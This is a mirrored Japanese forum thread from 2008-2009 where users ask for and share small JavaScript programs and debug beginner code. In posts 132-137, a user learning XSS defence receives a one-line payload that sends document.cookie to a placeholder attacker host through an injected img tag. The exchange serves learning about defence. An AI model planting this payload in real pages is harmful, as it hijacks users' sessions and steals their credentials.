[JavaScript]プログラム作成しますat HP
[JavaScript]プログラム作成します - 暇つぶし2ch1: ◆/Eu2.xvuyU
08/06/04 21:26:05
簡易的なプログラムを中心に要望にお応えしてプログラム作ります。
使うものはJavaScript、HTML、CSS、XMLのみです。

2:Name_Not_Found
08/06/04 21:54:58
んじゃコラムス頼む

3: ◆/Eu2.xvuyU
08/06/04 22:19:30
>>2
テトリスみたいな落ちゲーなのかな?
コラムス知らないからkwskおねがい

4:help
08/06/04 22:40:10 GSbMkkT5
2進数 1111111111111111111111111111111 (31桁の2進数)
を10進数に変換するプログラムを書き、桁とその桁の値に該当
する10進数(例えば、4桁目は2の3乗で8である)および変換された
10進数を表にして出力せよ。


javascriptで教えてください;;

5: ◆/Eu2.xvuyU
08/06/04 22:54:18
>>4
自分の理解力不足か問題の意味がわかりません。
>>2進数[1111111111111111111111111111111]を10進数に変換
parseInt("1111111111111111111111111111111",2);でしょうか?
>>桁とその桁に該当する10進数
よくわかりません
>>及び変換された10進数を「表」にして出力
ここもよくわかりません

多分自分の理解力不足なのでしょうね

6: ◆/Eu2.xvuyU
08/06/04 23:23:50
あーコラムス疲れる;
今日中の完成は無理そうです;

7:Name_Not_Found
08/06/05 14:42:46
画像を2進数に変換するプログラム

8:Name_Not_Found
08/06/05 15:48:09
OH!Myベイビーみたいなの

9:Name_Not_Found
08/06/06 05:47:53
コラムスにいくら時間かかってんだよ

10:Name_Not_Found
08/06/09 06:18:14 vGF9cdNm
RSSを用いて↓のサイトの用に表示できるよう
[JavaScript]プログラムの作成をお願いします。
URLリンク(www.webmemo.jp)

11:405(元fonojyakku) InternetServerError
08/06/09 06:46:49
テーブルの内容を「 」「○」「●」にして、オセロ。
tableにonClickつけて挑戦してみたのですが・・・・・・(汗でした
すみません、お願いします。
2,1,0の値を「○」「●」「 」に変換するようなプログラムにしていました。
ですが、駒が返る方向などの判定プログラムが私の技量不足により(汗でした。
あと、コンピューターと人で、先手後手を自動的に切り替えるようとしたのですが、それも(汗でした
どうも、うまくいきません。
ソースを消してしまったのが失敗でした(泣
無理なら、遠慮します。
こんなのです。

12:Name_Not_Found
08/06/09 20:08:46
このコラムスの時間のかかり用から見ると、
>>1はJavaScript始めたばっかか、逃げたな

13:Name_Not_Found
08/06/10 00:38:29
>>10
ドメイン越えなきゃならんのでjsだけじゃ無理だしょ
phpなどでhttpclient動作する何か挟めばいけるけど、そゆのでいい?

14:10
08/06/10 11:53:52 8dBXpNkL
>>13
お願いします。

15:Name_Not_Found
08/06/10 23:03:31
ん、週末でよければ試してみるよ

16:13,15
08/06/11 16:06:10
>>10,14
ほい。こんなんでいいのかな。
データ取得はphp、パースと表示はJSでやってますよ。

・動作例
URLリンク(non-chang.heteml.jp)

・概要
URLリンク(non-chang.heteml.jp)

・アーカイブ
URLリンク(non-chang.heteml.jp)

>>10
>RSSを用いて↓のサイトの用に
とあるけど、そのサイトがどういうロジックでリスト取得してるのか判らないのでそこは保留してます。
まあURLリストを複数設定できるようにしてるんで、あとは工夫してやってください。

17:10
08/06/13 14:43:42 BobHDg1p
ありがとうございます。
使いかってもよく非常に助かりました!!

18:Name_Not_Found
08/06/13 15:55:01 KbrcT9Fa
あるHP内の<div>~</div>でかこってつくられたテキスト表示用の窓に
別の環境から書いたテキストを即時反映する仕組みのようなものはつくれますか?

19:Name_Not_Found
08/06/13 16:46:06
>>18
>別の環境から書いたテキストを即時反映
JavaScriptだけだと難しいかな。ポーリングすりゃweb間の同期は取れるんだけど妙に大掛かりになりそ
入力したものが即時反映ってのでなければiframeとかで十分だと思う

リアルタイムチャット状態を意図してるのなら、
FlashのローカルShared Objectなんかを使った方が便利かも。

20:Name_Not_Found
08/06/13 17:28:06 KbrcT9Fa
なるほどありがとうです。
会社の商用サイトなどでの緊急お知らせティッカーみたいなものです
サイト管理者不在の場合に、管理者以外の人が本来のサイト管理用の
パスワード・IDとは別に、その窓用に用意した社内の汎用パスワード・IDを
使って書き込みし、テキストをポストするといったような使い方を考えていました


21:Name_Not_Found
08/06/13 17:50:33
それって機能自体は、掲示板系の構成変えただけですな。
むしろjavascript不要かと
phpやcgiの制作依頼スレ/CGI探しスレの方が適切かもですよ

↓こことか
【CGI】こんなCGI探してます
スレリンク(hp板)


22:Name_Not_Found
08/06/14 16:41:15
コラムス待ち10日目

23:Name_Not_Found
08/06/14 21:28:17 XJxLL29o
よこれす。
>>11
サンプル(突発で作ったからいろいろ未完成でごめん。。)
URLリンク(hpseisaku.konjiki.jp)
・基本プログラムは~osero.jsにあり。
・コンピュータとの対戦は諦め。(時間があったらやろうかな)
・無駄なJSファイルの読み込み多い & 無駄に効率が悪い。。
・オセロの公式ルールとかよくわかんないからテキトー
 ⇒普通にスルーで、、

24:Name_Not_Found
08/06/14 21:58:41
コラムス遅えなw

25:Name_Not_Found
08/07/05 20:57:16 gSMm4VqU
クリックで背景画像を変更するプログラムをお願いします。

26:Name_Not_Found
08/07/05 22:15:44
<html><head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>test</title>
<script type="text/javascript">
function test(num){
var imageList=[
"1.jpg",
"2.jpg"
] ;
document.getElementById("bW").style.background="url("+imageList[num]+")" ;
}
</script>
<style type="text/css">
#bW{height : 100% ; width : 100% ;}
</style>
</head>
<body>
<div id="bW">
<textarea id="t"></textarea>
<input type="button" onclick="test(0)" value="一枚目"></body>
<input type="button" onclick="test(1)" value="二枚目"></body>
</div>
</html>

こんなんでどう

27:Name_Not_Found
08/07/05 23:11:26
別のスレで蹴られちゃったので・・・
URLリンク(www.hotajax.org)
この「ShowCase menu」というスクリプトを応用した、画像のギャラリーページ用スクリプトを作ってください。
1ページ内に数段、設置したいのですが上手く行きません。

[機能]
1.画像をクリックするとアコーディオンのように画像の全体が表示される
2.画像右下のボタンをクリックするとリンク先のオリジナルサイズの画像が開く

2はLightbox系スクリプトを使うつもりです。
ヨロシクお願いしますm(_ _)m

28:Name_Not_Found
08/07/06 01:23:00
mootoolsは苦手

29:Name_Not_Found
08/07/06 13:32:47
2000円で!

30:Name_Not_Found
08/07/07 13:48:08 mvScWrNY
>>29>>27?職人?

31:おでん
08/07/07 21:51:09 wrYSbZO3
data.cgi形式で、
ファイルを読み込むことが可能なJAVASCRIPTの作り方教えてください。

32:Name_Not_Found
08/07/07 23:15:59
>>30
27です。

33:Name_Not_Found
08/07/07 23:57:01
>>31
data.cgiってファイルフォーマットじゃなくデータ読ませないための慣用でそ
具体的にどんなファイルなのか判らないと解答不能だよ
多分XHRになるんだろうけどバイナリだと扱えないし

34:Name_Not_Found
08/07/09 03:45:33
>>27
ソース見たけどこれ初心者が適当に書いた物だ。
グローバルスコープ多用してるから望み通りに動かすには全体に修正を加える必要がある。
他のまともなのを探すが吉。

35:27
08/07/09 23:22:04
>>34
既に、アコーディオン系スクリプトやImage menuというスクリプトを試してみたのですが、
これ以上に目的に近いものを見つけられていない状態です。
新しいタイプのギャラリー系スクリプトになると思うのですが・・・ なんとかなりませんか?

36:Name_Not_Found
08/07/10 06:47:26
>>27
多段にしてソースと動作をしばらく見比べてみたら部分的な修正で動きそうだったんで書いてみたよ。
飽くまで即席であって、ちゃんとしたものにするには一から書いた方が早そう。

[htmlのみ] URLリンク(www-2ch.net:8080)
注意
 id=showCaseContainerの部分 は class="showCaseContainer"に変更
 var cols = 5; には横一列に置く画像の数を正しく指定

37:27
08/07/10 17:31:03
>>36
ありがとうございます!
動作テストをしてみたところ、IE7とFirefox3上で想像通りの動作をしています。

相談なのですが、もし、“ちゃんとしたもの(詳しくは分りませんが・・)”にしていただけたら
少ないですが、前に提示したもの+α程度の報酬をお支払いいたしますが、いかがでしょうか?
よかったら考えてみてください。

38:Name_Not_Found
08/07/10 22:31:30
いや、ちゃんとしたものっつっても内部的な話で見た目は変わらんから
期待通り動いてるんならいいんじゃない。

39:27
08/07/10 23:26:27
>>38
そうですか? なんだか申し訳ないですが、、、
今回は本当に有難うございました m(u_u)m

40:Name_Not_Found
08/07/15 06:56:23
ところで、JavaScriptはプログラムといっていいものなの?

41:Name_Not_Found
08/07/15 14:56:58
そら勿論だ
違和感あるなら名前通りスクリプトって言ってやればいいよ

42:Name_Not_Found
08/07/24 04:13:06
ホームページ制作王を使えば、どんなホームページでも、
感覚的に、かつワンタッチにて制作・管理することができる。

ホームページ制作王は、世界標準であるから、
初心者でもプロでも、ユーザーの属性に応じて、常に最高品質のWebをクリエイトする。

動画、フラッシュ、java、perl、php、aspなど、ホームページ制作王なら、
全てに対応する。

ホームページ制作王に不可能はない!

ホームページ制作王は、世界の権威COMDEXが認めた唯一の世界標準。
ホームページ制作王は、人類の叡智そのものである。

繰り返す。ホームページ制作王に不可能はない!

43:Name_Not_Found
08/07/24 06:54:07
Macで使えねぇじゃん

44:Name_Not_Found
08/07/24 13:16:30
「動画」が作れるのか、そりゃすごい

45:Name_Not_Found
08/07/24 13:56:18 18PwLf6i
じゃあ、最強のLightbox系スクリプトを作っておくれ。
[色んなLightbox系に搭載されてる機能一覧]
・画像以外のファイル表示に対応(動画、文書、HTML、Flash、PDF等)
・スライドショー機能
・画像の拡大表示機能
・オリジナルファイルを同一画面/新しい画面で開く
・表示中のファイルをダウンロード
・画像をウィンドウサイズに合わせてリサイズして表示
・ブラウザのスクロール、サイズ変更などがあっても、常にブラウザの中央に表示される
・表示するファイルに透かしを挿入(ロゴとか)
・表示枠のカスタマイズ(色、角丸)
・グループ機能
・軽い
・灰色背景の描画ON/OFF
・表示エフェクト

・これらの機能を設定でON/OFF可能

46:Name_Not_Found
08/07/24 18:40:14
おい、割り込むよ。コラムスが先だ。

47:Name_Not_Found
08/07/24 21:28:49
ホームページ制作王でササッとコラムス作ってあげなよ。

48:Name_Not_Found
08/07/24 23:45:22
ホームページ制作王でサクっとAirアプリ作ってください
ドラッグ&ドロップでOffice系ドキュメントをPDFにして、
セキュリティ認証つけてくれればいいよ。
できれば、管理画面からPDFにした後でも認証設定を変更できるようにしてくれ。

49:Name_Not_Found
08/07/25 13:50:13
ホ ー ム ペ ー ジ 制 作 王 が J a v a S c r i p t に 対 応 し て な い 件

50:Name_Not_Found
08/07/25 22:29:56
>>42
おいwww

51:Name_Not_Found
08/07/26 03:24:11
>>動画、フラッシュ、java、perl、php、aspなど、ホームページ制作王なら、
>>全てに対応する。
これは・・・すべてに対応するって書いてあるからjavascriptおkなのかな?
でもaspまで上げといてjavascript書かないってのも引っかかるなあ

52:Name_Not_Found
08/07/26 16:37:22
製作王マニアはなんでもできるって言ってるだけのネタ野郎だからw

53:Name_Not_Found
08/07/28 23:03:49
Javascriptでこんなフォーム作れますか?

入力項目
mail homepageURL HN userID

出力(表示)
1入力エラー表示:
homepageURLが入力されていません。

2入力処理表示:
HNさん専用のURLです。
URLリンク(www.***.com)
http:/www.***.com/userID/2.html

54:Name_Not_Found
08/07/28 23:45:12
コラムスなんてとっくに誰かが作ってるだろと検索したらやっぱりあった。

Javascript Columns
URLリンク(www.drque.net)


55:Name_Not_Found
08/07/28 23:55:30
じゃあ次は>>45の最強のLightboxってことで。

56:Name_Not_Found
08/07/29 23:00:35
>>・軽い
>>・これらの機能を設定でON/OFF可能

var light = true;  // 軽くするならtrue

こんな感じになるのかな

57:Name_Not_Found
08/07/30 13:47:11
吹いたwww

58:Name_Not_Found
08/07/30 23:02:06
falseにすると何が起こるんだ

むしろそれ重くする機能じゃねえのかw

59:Name_Not_Found
08/08/02 08:04:29
if(light){
  a = 10;
}
else{
  for(i=0;i!=10;i++){
    a = i;
  }
}

60:fonojyakku
08/08/03 00:01:31 hIRIn32g
>>23
ほんとに遅くなってすみません。
暇がなくて。・・・・
本当に遅くなって・・・・・

取れる数を出すセクション(部分)があるので、
これをベースに、自動思考やってみたいと思います。
(激しく重いかもしれませんが。)
できたら、結果報告、できるかな。
それとも、がんばっているうちに、このスレのことを忘れてしまうのかな。
がんばってみます。
ポインタの位置で出している場合でも、がんばってみます。

あと、本当にありがとうございます。
いや、もしかしたら、ここにくるのも最後かもしれませんので、
ありがとうございました。

61:fonojyakku
08/08/03 00:16:29 hIRIn32g
マッタリ読んでたらまたくる気になれました

62:Name_Not_Found
08/08/03 00:23:22
>>60
頑張って! 応援してるよ!!

63:Name_Not_Found
08/08/04 13:36:21 wteL7dOv
夏だし、ここももっと活発になるかな?
>>60が良い空気を作ってくれるのに期待。

64:405(元fonojyakku) InternetServerError
08/08/05 15:41:44
>>60
孤軍奮闘してます。
すみません、ソースが複雑な構成なっていて、大変なんで
//コメント
を入れてがんばってます。
コマの場所を入れて、取れる数を返す関数ってどこですか?
また、その関数の返却値はどこの変数に返されますか?


65:Name_Not_Found
08/08/05 20:44:31
良スレの予感

66:Name_Not_Found
08/08/09 04:53:01
任意のhtmlファイルを渡すと
そのhtmlの中からh2要素を抜き出して
h2要素の持つテキストを一覧にして表示してくれるようなjavascriptをお願いします。

67:Name_Not_Found
08/08/09 04:55:40
すいません。
ユーザースクリプトみたいな感じで使えるとありがたいです
お願いします

68:Name_Not_Found
08/08/09 13:54:21
firefoxのアドオンやグリモンのスクリプトなんかの作成をお願いできないでしょうか?

69:Name_Not_Found
08/08/09 15:49:29
>>68
気が向けば作るけど、どんなの?

70:68
08/08/09 18:08:17
Firefoxで表示したページのタイトルとアドレス(表示履歴)をgmailかgooglenoteなどのオンラインストレージに転送するアドオンです。
何年分もためれるようにしたいです。さすがに全文残すだと重くなるでしょうから。
昔、gbrain(URLリンク(huwy.seesaa.net))というアドオンがあったようなのですが
googleに負荷がかかりすぎるといわれ現在公開中止中です。

このようなアドオンをお願いします。


71:Name_Not_Found
08/08/11 03:50:00 TWesbUfn
CSSのtext-autospaceのような機能のjavascriptをお願いします。


72:Name_Not_Found
08/08/24 03:10:47 k23O8fvn
保守

73:Name_Not_Found
08/09/02 12:17:48 pNrmnAK8
夏の成果をみせて

74:Name_Not_Found
08/09/02 13:01:48
>>1はどこいった

75:Name_Not_Found
08/09/09 22:39:55 2ErVuYAk
懸賞金とかかけたら活発になる?(安いけど)

76:Name_Not_Found
08/09/17 00:58:07
mixi videoのflvを落とすためのリンクを出すグリモン
お願いします!

77:Name_Not_Found
08/09/17 02:57:32
flvだったらキャッシュに落ちるから
IE使えば手作業でも抜けそうだが。

78:405 元fonojyakku
08/09/19 17:57:00
>>1
さん、どこですか?
返却値はどこですか?

79:Name_Not_Found
08/09/20 15:17:45 xcTVir67
3次の彼女が出来るスクリプトお願いします><

80:Name_Not_Found
08/10/02 15:49:37
ム板単発質問の誘導用に失礼します
URLリンク(non-chang.heteml.jp)

81:Name_Not_Found
08/10/07 16:43:20 IxVUV7Or
スレリンク(hikky板:152-156番)
これの評価お願いします

82:Name_Not_Found
08/10/07 17:31:10
ふむむ

83:Name_Not_Found
08/10/07 19:43:58
元スレで拾い物だとか言われてるようだけど

84:Name_Not_Found
08/10/14 02:58:15 2/3QIMpn
それは気のせい

85:Name_Not_Found
08/10/23 17:35:23
ボタンを押すと、普通にホームページに書いてある文字が変わるように出来ませんか?

86:Name_Not_Found
08/10/23 17:41:32
<script type="text/javascript">
<!--
function func() {
document.all.ABC.innerHTML = "<b>おやすみ</b>";
}
// -->
</script>
<div id="ABC">おはよう</div>
<button onclick="func()">OK</button>

87:Name_Not_Found
08/10/23 19:50:17
ありがとうございます。
まさに思っていた通りのものでした。
参考に遣わさせていただきます。

88:Name_Not_Found
08/10/23 20:53:55
4つあるチェックボックスのいずれかをチェックしたら、
ラジオボタンが2つ活性します。
チェックがボックスのチェックが外れたら非活性となります。
関数が作れず困っております。
何方かサンプルソースを作成していただけないでしょうか?


89:Name_Not_Found
08/10/23 22:31:08
URLリンク(homepage.mac.com)

これみたいな入力した文字を変換するやつって作れませんか?
あ→ア みたいに

90:Name_Not_Found
08/10/24 10:54:45
>>88
活性て何よ。灰色だったのがふつうになるやつ?

91:Name_Not_Found
08/10/24 11:38:56
>>89
サンプルとしてあげてくれたページのソースを書き換えればいいんじゃない?

キャラクターコードから変換するものだとコード体系に依存するので
2chのログでは例を出し辛いと思う。

92:Name_Not_Found
08/10/24 23:02:59
今のメジャーなブラウザの多くは、
文字列を内部ではUnicodeで管理しているのだから、その点は特に問題にはならないのでは。

>>89のように列挙しても出来るけど、
window.escapeしてから、RegExpのreplaceで変換する方が良さげだね。

93:Name_Not_Found
08/10/31 13:42:56 eGX6UBNd
>>86の”おはよう”の文字のところに、変数を用意して、その数字を
表示するようにしたいのですが、どうしたらできますか?
それと86は小文字のjavascriptみたいなので大文字のやつを出来たら教えてください。
ボタンとかの書き方も、なんか普通と違っているんですけど、これは省略形みたいなやつですか?
詳しくお願いします。本当に困ってます。

94:Name_Not_Found
08/10/31 13:46:29 KXQwZiww
小文字って何だ?

95:Name_Not_Found
08/10/31 13:49:48
わたしのしっているのでは<>の内部は大文字なので。

96:Name_Not_Found
08/10/31 13:52:35
ボタンの書き方って、普通ってどうやるの?

97:Name_Not_Found
08/10/31 13:53:33
>>86は↓の無断コピペだから
URLリンク(www.tohoho-web.com)

98:Name_Not_Found
08/10/31 13:59:10
文字列を書くとき、ふつうは
""の中に書いて、変数の場合は""の外に書くのに
そのかきかただと""が無いのに文字列になってます。

99:Name_Not_Found
08/10/31 14:01:35
>>98
どこの文字列?

100:Name_Not_Found
08/10/31 14:02:32
<button onclick="func()">OK</button>
↑の書き方自体が大文字の書き方と違うので分かりません

101:Name_Not_Found
08/10/31 14:05:21
>>100
大文字の書き方だとどう書くの?

102:Name_Not_Found
08/10/31 14:06:50
<BUTTON ONCLICK="func()">OK</BUTTON>ってことじゃね?

103:Name_Not_Found
08/10/31 14:11:18
>>102
それって何が違うんだ?

104:Name_Not_Found
08/10/31 14:11:49 eGX6UBNd
<INPUT TYPE="button" VALUE="おはよう" onclick="func()">
なんです。
このばあいおはようは""の中にあるのでその外で変数を書けば変数が文字になるけど、
もう一つの場合はそれができませんということです。

105:Name_Not_Found
08/10/31 14:13:23
タグの中って別に大文字小文字関係ないと思うけど

106:Name_Not_Found
08/10/31 14:27:07 KXQwZiww
test

107:Name_Not_Found
08/10/31 14:28:13
>>86の書き方は、すなわち省略形ですか?
その点を伺いたいです。

108:Name_Not_Found
08/10/31 14:29:06 KXQwZiww
<INPUT TYPE="button" VALUE="おはよう" onclick="func()">
<input type="button" value="おはよう" onclick="func()">
どっちでも動くと思うが
まぁ質問はそこじゃないよね
>>86の「おはよう」の部分は<BUTTON>タグじゃなくて<DIV>タグだと思うんだが

109:Name_Not_Found
08/10/31 14:30:18 KXQwZiww
省略じゃないよ
<BUTTON>タグってのがあるんだよ<INPUT>タグとは別ものだよ

110:Name_Not_Found
08/10/31 14:46:59
>>105
HTMLならどちらでもok、XHTMLでは小文字のみ。

111:Name_Not_Found
08/10/31 14:48:32
          _________
      ,.r‐''''...................-、
    /:::::::::::::::::::_ ::::::::ヽ
    !::::::::::::::::::::::}十{::::::::::::::i
    !::::::::::::::::::_,,、-'''''' ̄ ̄`'ヽ
    |ミシ ̄ ̄__,,,~,__ !'''"  マターリよ♪♪♪
    /  ==⊂⊃=⊂⊃=\      
     |     \  ・・ / |  
      \     |  ◎ | ,/  

   .(6ミシ  ,,( ノ)、 /(ヽゝ |    
     し.    "~~´i |`~~゛ .i    
      ミ:::|:::::........ f ・ ・)、 ...:::i
       ヽ::::::::::::-=三=-:::/
      \ヽ:::::::::::゛::::ノ/ 
      /   \ , , /\
    /    (●)  (●) \
      /   \ , , /\       
     |     ⌒(__人__)⌒ |    死ねはいかんお!
      \      ` ⌒´  ,/  

112:Name_Not_Found
08/10/31 15:05:36
>>93は質問をもっとわかりやすく書いてほしい

113:Name_Not_Found
08/10/31 15:42:12
<INPUT ID="btn" TYPE="button" VALUE="おはよう" onclick="func()">

で、
変えたいときに document.getElementById("btn").value = "おやすみ";

とか?

114:Name_Not_Found
08/10/31 18:30:57
cgiが吐き出す外部スクリプトの処理が遅くてページの読み込みが滞ってしまうので、
window.onloadで最後にやらせたいんですが、
window.onloadで、
<script type="text/javascript" src="URLリンク(example.com)" charset="UTF-8"></script>
<script type="text/javascript" src="URLリンク(example.com)" charset="UTF-8"></script>
の二つを実行させるにはどのように指定すればいいのでしょうか?

関係あるかわかんないんですが、
hoge.cgi、hage.cgiの中身はいずれも最終的には
abc.innerHTML=are、xyz.innerHTML=soreという感じで、
document.writeは使われていません。

115:Name_Not_Found
08/10/31 21:22:02
ひとまず、おまえらさぁ

とほほのWWW入門
URLリンク(www.tohoho-web.com)


こことか見てさ、調べてから来いよ
たまに調べればすぐ分かるような質問みかけるけどさ
調べてもわからないなら、もっと詳細を書くべきだよ?
何を質問してるかわからんわい

116:Name_Not_Found
08/11/01 16:17:11
>>114
HTMLの一番最後に配置するだけでいいんじゃない?

117:Name_Not_Found
08/11/02 18:16:30
今とほほ薦めちゃまずいような

とっかかり用途だと判りやすいのかな?

118:Name_Not_Found
08/11/03 00:08:34
>>115のサイトとopenspc2.orgは反面教師としての存在価値はあるのでは。
素人でも簡単にここまでは出来るが、
それで満足してしまうと実務レベルからは程遠い残念な事になるという良い実例。

119:Name_Not_Found
08/11/03 01:00:36
↑成立背景を無視した近視眼的な物言いの凡例

とほほの成立時期を全く知らない自称実務レベル?笑わせる。
あれは HTML の仕様なんてほとんど後付けだった時代に作られたもの。
今の JavaScript の状況よりもっとひどかった。
“情報が古い”程度で止めときゃいいものを、
知ったかしようとするからこんなアホなこと書くんだ。

120:Name_Not_Found
08/11/03 01:46:27
インターネットで無料で情報を入手しようとするのが甘い。
金だしてしかるべきところから情報を得るべき

121:Name_Not_Found
08/11/03 12:14:13
>>119
既に更新が停止しているサイトならともかく、
現在も更新されているらしいサイトで設立背景が云々なんて弁明にもならない。
糞は糞というだけ。

122:Name_Not_Found
08/11/03 12:37:37
内容に問題がある点については共通した認識を持っていて
それを言葉でどう表現するか「どこまで悪く言うか」
の違いだけなんじゃね。
そんなことで言い争いしても問題の解決にはならないから
代わりになるものを挙げたらどう?

123:Name_Not_Found
08/11/03 13:18:03 DhiNtINQ
javascript初心者です。
二つのテキストフィールドに入力した数値を足して別のテキストフィールドに
結果を出力するというのを作っているのですが、うまく動きません。
ここでソースを載せたら見てもらえますかね。。?

124:Name_Not_Found
08/11/03 13:22:54 DhiNtINQ
function valueFigure() {
int value1Int,value2Int;
value1Int = eval(document.value1);
value2Int = eval(document.value2);
document.form.ansInt.value = value1Int + value2Int;
}
//-->
<body>
<form name="form">
二つの数字を入力して下さいね~。<br>
<!-- 入力テキストフィールド:左 -->
<input type="text" name="value1" style="width=30">+
<!-- 入力テキストフィールド:右 -->
<input type="text" name="value2" style="width=30">=
<!-- 結果出力テキストフィールド -->
<input type="text" name="ansInt" style="width=30">
<!-- アクションボタン:足算 -->
<input type="button" value="足算" style="width=50" onMouseClick="valueFigure()">
<!-- テキストフィールドリセット -->
<input type=reset value="reset">
以下略...

結果を出力するとこの値渡しがうまくいってないのかなと思ってるのですが・・
どこが悪いんでしょう?IEで動作確認してますぅ。

125:Name_Not_Found
08/11/03 15:28:40
喋り方も何もかもが悪い

変数に型宣言はいらないint外してvarつけろ
document.value1はObjectなのにそれをevalしてどうする
formのnameに"form"を使うな
onMouseClickはonClickにしろ
て言うかDOM指定ならidつけろ



int value1Int,value2Int; → var value1Int, value2Int;
eval(document.value1); → document.form1.value1.value;
eval(document.value2); → document.form1.value2.value;
document.form.ansInt.value = value1Int + value2Int; → document.form1.ansInt.value = value1Int*1 + value2Int*1;
<form name="form"> → <form name="form1">
onMouseClick → onClick

126:Name_Not_Found
08/11/04 01:47:17
>>125
優しいなお前。

127:Name_Not_Found
08/11/04 23:36:08
これこそ2chの優しさだな

杜甫々氏の当時の功績は判るんだが、
直すべき古情報をいつまで放置するつもりなのか素で疑問。
初心者に抵抗の少ないサイトなのも、対抗馬たるサイトがないのも判るんだけどね
あのサイトの記述全部直すだけでも相当な労力あるしな。

あそこでサワリ覚えて
このスレで>>125みたいなツンデレにつつかれた方が
伸びるの早いかもしらんな。
二度手間だけど。

128:Name_Not_Found
08/11/05 19:01:04
>>127
基礎はオライリーのJavaScript本、
リファレンスはmozillaのサイトで問題無いのでは。
URLリンク(developer.mozilla.org)
あとはネットには参考になる大量のソースコードがあるのだから、
それらからノウハウを吸収しない手は無いね。

そういやちょっと前に埋まった手取り足取りスレのコテも、
とほほが参考になるなどと書いていたが、
功績というよりもあんな中途半端な知ったかを量産しただけのような気も。
未だにECMA以前のJavaScriptネタを特に注釈無く放置しているサイトは問題有るよ。

129:Name_Not_Found
08/11/23 12:57:59
URLリンク(h.ula.cc) の、各ニュースの携帯向けURLリンクを、パソコン用URLの形式で開くことは可能ですか?

具体的に書くとすれば、
URLリンク(same.ula.cc)○○.2ch.net/△△△△/×××××/?guid=ON へのURLリンクを開くときに、

http://○○.2ch.net/test/read.cgi/△△△△/×××××/ として開いて欲しいのです。

130:Name_Not_Found
08/11/23 16:16:15
開いて欲しいってのがよく分からんが

var oriurl = "URLリンク(same.ula.cc)○○.2ch.net/△△△△/×××××/?guid=ON";
oriurl = oriurl.split("/");
var resurl = "http://"+oriurl[5]+"/test/read.cgi/"+oriurl[6]+"/"+oriurl[7]+"/";
alert(resurl);

131:Name_Not_Found
08/11/23 17:12:32
>>130
迅速な回答ありがとうございます。
こちらの知識不足&説明不足のためわかりづらかったと思います、すみません。
次回からはもう少し勉強してから書き込むようにします。

132:Name_Not_Found
08/11/25 15:45:51
ちょっと・・あまりこういうの書かない方がいいのかもしれないのですが・・
現在、xss対策について学んでいます。PHPがある程度書けまして、投稿されたalert('xss'); みたいのが実行されないようにPHPのエスケープ用関数を使って対策しているぐらいのレベルなんですが、
クッキーを盗むJavaScriptが具体的にどういったコードで書かれているのか知らずに対策しているため、あまり本質的な理解がないままXSS対策しているような感じです。
JavaScriptは今のとこ書けないのですが、クッキーを盗むコードというのは具体的どんなものなのか知りたいのです。(決して悪用のためではありません!)
攻撃スクリプトをそのまま載せて頂くのはちょっと問題があるかもしれないのでダメなら諦めますが、ヒントだけでも頂けたら幸いです。
alert('xss'); が埋め込まれて実行されてしまうような脆弱性のある動的ページだとしたら、JavaScriptによってクッキーを盗まれる可能性も同様にあるものと考えてよいのでしょうか??
ご教示頂けると助かります。

133:Name_Not_Found
08/11/25 16:12:48
document.body.innerHTML+='<img src="URLリンク(abunaisaito)'+document.cookie+'">';

134:132
08/11/25 18:35:34
ナルホド。。こういうことだったのですね。<a>でも代用できそうですね。。
ありがとうございますm(_ _)m

すいません若干スレ違いなのですがあと1つだけ質問させてください。
上に挙げて頂いた例ですと、XSSによってクッキー窃取するにはスクリプトを仕込まれたページからもう1アクション必要なようですが(上記だと画像のクリック)、
スクリプトを仕込まれたページにアクセスした瞬間にクッキーを窃取されるということはないと考えてよいのでしょうか??
ご教示頂けると幸いです。

135:Name_Not_Found
08/11/25 19:13:31
ナルホドと言いつつ理解できてないな

136:Name_Not_Found
08/11/25 21:30:23
JQueryのアコーディオンとタブはなぜぶつかるのですか?
$をJQueryて置き換えてもダメだったです

137:Name_Not_Found
08/11/26 12:47:49
srcを動的に書き換えればその時点でHTTPリクエストが送信されるけどね

138:Name_Not_Found
08/11/27 07:35:35
申し訳ありません。
ブックマークレットの質問ですが他に聞く所がないのでお願いします。

ページ内のリンクを全表示するブックマークレット
javascript:WN7z=open('','Z6','width=400,height=200,scrollbars,resizable,menubar');DL5e=docum
ent.links;with(WN7z.document){write('<base%20target=_blank>');
for(lKi=0;lKi<DL5e.length;lKi++){write(DL5e[lKi].toString().link(DL5e[lKi])+'<br><br>')};voi
d(close())};

これを指定した範囲内だけ表示するように出来ませんか?

139:Name_Not_Found
08/11/27 11:20:36
>>138
どうやって指定するかによるんじゃない?
「ここのタグの中身」とかならまだ楽な感じがするけど、マウスで選択とかだと難しい感じがするな。

140:Name_Not_Found
08/11/27 19:42:11
>>139
マウスで選択です。
そうですか難しいですか

141:Name_Not_Found
08/11/28 00:48:43
>>138
<html><body>
<a href="link1.html">link1.html</a><br>
<a href="link2.html">link2.html</a><br>
<a href="link3.html">link3.html</a><br>
<a href="link4.html">link4.html</a><br>
<a href="link5.html">link5.html</a>
</body><script>
WN7z=open('','Z6','width=400,height=200,scrollbars,resizable,menubar');
DL5e=document.links;

_start=1; //2番目から
_end=3; //4番目まで

with(WN7z.document){
write('<base%20target=_blank>');
for(lKi=0;lKi<DL5e.length;lKi++){
if(lKi<_start)continue; //_startまでは先頭に戻る
write(DL5e[lKi].toString().link(DL5e[lKi])+'<br><br>');
if(lKi==_end)break; //_endでループを抜ける
}
void(close());
}
</script></html>


142:Name_Not_Found
08/12/04 09:50:12
もしもこんなことが出来たら?と思って書きこんでみます。
画像投稿掲示板に投稿された最新の画像をサイトのトップページに
表示したいんです。
大きな画像もありますので、160×120ぐらいに縮小することも一緒にできたらいいなぁと。

まとめると、サーバー上のとあるフォルダに入った画像のうち、
最新の画像を縮小して引っ張ってくるという機能になるかと思います。

javascriptで可能なことなのかどうかもよくわかってないのですが、よろしくお願いします。

143:132
08/12/05 00:00:21 ArlnOy1E
>>135
分かりました。いやーやばいですね。。
ありがとうございましたm(_ _)m

144:Name_Not_Found
08/12/05 15:28:06
<style type="test/css">
.framebox{font-size:2em;}
.cgiframe{height:100%;border=0;}
</style>

<script>
alert(document.styleSheets.length);
↑これが0になるのはなぜ?



145:144
08/12/05 16:00:44
自己解決。testじゃなくてtextだった。

146:Name_Not_Found
08/12/27 23:31:04
javascriptを使って、ローカルのファイルをブラウザにドラッグして
パスを取得することは可能でしょうか?


147:Name_Not_Found
08/12/28 00:57:36
無理

148:Name_Not_Found
08/12/28 00:59:30
>>146
FirefoxとかでChrome権限を取得できるのなら可能

149:Name_Not_Found
09/01/21 18:44:11
aという入力値に対し
bに(aの4分の1乗)の値を返し
